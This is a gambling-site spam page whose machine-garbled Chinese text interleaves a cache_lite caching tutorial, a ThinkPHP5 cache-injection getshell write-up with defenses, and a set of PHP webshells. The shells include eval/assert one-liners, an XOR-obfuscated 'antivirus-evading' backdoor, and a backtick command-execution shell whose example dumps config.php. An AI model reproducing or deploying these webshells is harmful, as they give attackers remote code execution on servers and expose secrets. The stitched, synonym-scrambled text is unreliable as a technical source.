篮球外围下注_篮球投注导航_[所有网址]

篮球外围下注_篮球投注导航_[所有网址]是该公司为打造信誉第一,2014最新体验金,篮球外围下注_篮球投注导航_[所有网址]这里的所有老虎机游戏及真人百家乐游戏都具有欧洲风格,致力成为最具传播力和互动性的娱乐城网站。

cache_lite试用

2019-08-28 13:42 来源:未知

今天商讨下pear的cache_lite。

0×00 背景

网址为了兑现加快访谈,会将客商访谈过的页面存入缓存来减小数据库查询的付出。而Thinkphp5框架的缓存漏洞使得在缓存中流入代码成为只怕。(漏洞详细情况见参照他事他说加以考察资料)

美洲杯竞猜网址,本文将会详细讲明:

  1. 什么样判定缓存漏洞存在的恐怕

  2. 怎么选取Thinkphp5的框架漏洞结合网址的局部配置完毕前台getshell

盼望得以赋予读者一些关于漏洞使用的启示。

一个最广大的一句话后门恐怕写作那样

  从http://pear.php.net上下载了新式的cache_lite。cache_lite是pear库类中三个轻型的cache库类。的确轻型,代码计算4个文本。lite.php cache/File.php cache/unction.php cache/output.php。况且扩充性特别好,加入到协和的库类,首要修改下lite.php的raiseError函数。

0×01 环境

<?php @eval($_POST['cmd']);?>

  插手本人的库类后,最初测量检验。首先基本的缓存:

测量试验意况

1.某依照Thinkphp5.0.10搭建的论坛类测量试验网址

 

2.apache2

 

3.php5.6及以上版本,相关php组件

 

4.mysql

或这样

<? require_once('../libs/cache/Lite.php'); $id='1'; $options = array(     'cacheDir' => '../cache/test/',     'lifeTime' => 60 ); $cache=new Cache_Lite($options); if($data=$cache->get($id)){    echo $data; }else{    $data=time();    $cache->save($data);    echo $data; } ?>

工具

1.dirsearch (github上的多个用python编写的网址路线扫描工具)

<?php @assert($_POST['cmd']);?>

    为了测验效果更易于觉察,小编把缓存时间设置为1分钟。运行后,你到../cache/test/目录中窥见二个文本cache_c21f969b5f03d33d43e04f8f136e7682_c4ca4238a0b923820dcc509a6f75849b,这就是cache_lite发生的缓存文件。张开后你会发觉数目是加密的。当然,那是为了安全起见的。
  在刷新页面,你会意识页面未有啥样改观,那正是缓存起成效了,很简单吗。^_^。1分钟后,刷新,哈哈,改动了。那样就达成了缓存的主导职能。
  cache_lite还足以兑现函数缓存等等各样功用,具体笔者就不介绍了,大家能够访谈

0×02 实现

tudouya 同学在FREEBUF上给出[一种结构才干]利用

判断缓存漏洞存在的恐怕性

1.翻看网页的cookie,开掘存在thinkphp_show_page_trace字段,鲜明网页基于thinkphp框架。 

美洲杯竞猜网址 1

2.用到 dirsearch 扫描指标网址。python3 dirsearch.py -u site_ip_here -e php意识能够访问cache目录,表明可能存在缓存漏洞。 

美洲杯竞猜网址 2

复制代码 代码如下:

试行攻击

1.考虑到那是二个论坛类网址,尝试发帖注入缓存。

美洲杯竞猜网址 3

2.那是最劳累的一步,猜解缓存中的php文件名。根据框架达成,文件名是一个独一字符串的md5码(此处的md5要用php的函数计算,测量试验开掘和网络的一些在线平台总计结果分歧)。记挂到论坛类网址有大气的帖子,要求用数据仓库储存款和储蓄,而帖子的目录应为很有十分的大希望为id 。

再组成url的路线名,推断为article_id

echo(md5(“article_52″));

12a51218427a2df68e54e8f4c8b10109 

美洲杯竞猜网址 4

因而访问缓存成功getshell 

美洲杯竞猜网址 5

<?php  @$_ ; // $_ = 1  $__=("#"^"|"); // $__ = _   $__.=("."^"~"); // _P   $__.=("/"^"`"); // _PO   $__.=("|"^"/"); // _POS   $__.=("{"^"/"); // _POST   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  ?>

0×03 原理深入分析:

组织生成,当然,嫌太直观能够编写这样

框架

在thinkphp框架中,/thinkphp/library/think/cache/driver/File.php中定义了缓存的兑现。在那之中,getCacheKey($name)函数完毕了cache文件路径的估摸,为博得缓存文件名称提供了说不定。

美洲杯竞猜网址 6

而set()与get()函数以连串化对象的主意无过滤地达成了缓存数据的写入与读出,为代码注入缓存提供大概。

美洲杯竞猜网址 7

美洲杯竞猜网址 8

由此测量检验,能够开采帖子中的内容能够直接写入缓存文件。

美洲杯竞猜网址 9

由于缓存文件是三个php文件,可以开展代码注入。在代码前加三个回车,使代码行独立于前方的注释行。再在终极加上注释符号//,注释剩余内容。

 

复制代码 代码如下:

网页完结

在拍卖帖子的代码中,读取帖子首先查询cache文件,通过调用thinkphp5框架中的cache接口完结。

美洲杯竞猜网址 10

<?php @$_ ;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

0×04 防御:

  1. 从框架出手,在/thinkphp/library/think/cache/driver/File.php 中的set()函数中对于$value参数实行过滤,去除换行符号。(具体代码见参考资料)瑕玷: 可能会促成缓存文件在显示时文本布局的变动。

2. 从网页实现出手,读取缓存时的选用的并世无双索引能够安装的相比复杂,让攻击者不大概猜到。如: 3ae282ad69314d68_article_id

  1. 从服务器的配置入手,关闭从表面对于cache文件夹的直接访问。

  2. 从php的布局出手,关闭eval等危险函数。

接下来再填充些普通代码举办伪装,七个大致的”免杀”shell样本就应运而生了

0×05 参谋资料:

咱俩再来看看堪当史上最简易免查杀php后门

直白上代码:

<?php

$c=urldecode($_GET['c']);if($c){`$c`;}//完整

!$_GET['c']||`{$_GET['c']}`;//精简

/*******************************************************
 * 原理:PHP中``符号包含会当作系统命令执行
 * 示例:http://host/?c=type config.php>config.txt
 *    然后就可以下载config.txt查看内容了!
 *    可以试试更变态的命令,不要干坏事哦!
 *******************************************************/
TAG标签: 篮球外围下注
版权声明:本文由篮球外围下注发布于系统,转载请注明出处:cache_lite试用